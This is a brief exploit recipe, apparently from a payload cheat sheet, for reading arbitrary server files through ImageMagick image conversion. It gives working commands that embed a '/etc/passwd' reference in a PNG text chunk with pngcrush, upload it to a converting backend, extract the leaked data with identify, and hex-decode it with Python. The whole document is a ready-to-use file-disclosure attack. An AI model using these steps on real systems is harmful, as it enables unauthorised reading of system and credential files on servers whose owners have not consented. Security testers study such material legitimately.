Information Disclosure: embedded the content of an arbitrary remote file
* Generate the payload
```ps1
apt-get install pngcrush imagemagick exiftool exiv2 -y
pngcrush -text a "profile" "/etc/passwd" exploit.png
```
* Trigger the exploit by uploading the file. The backend might use something like `convert pngout.png pngconverted.png`
* Download the converted picture and inspect its content with: `identify -verbose pngconverted.png`
* Convert the exfiltrated data: `python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'`
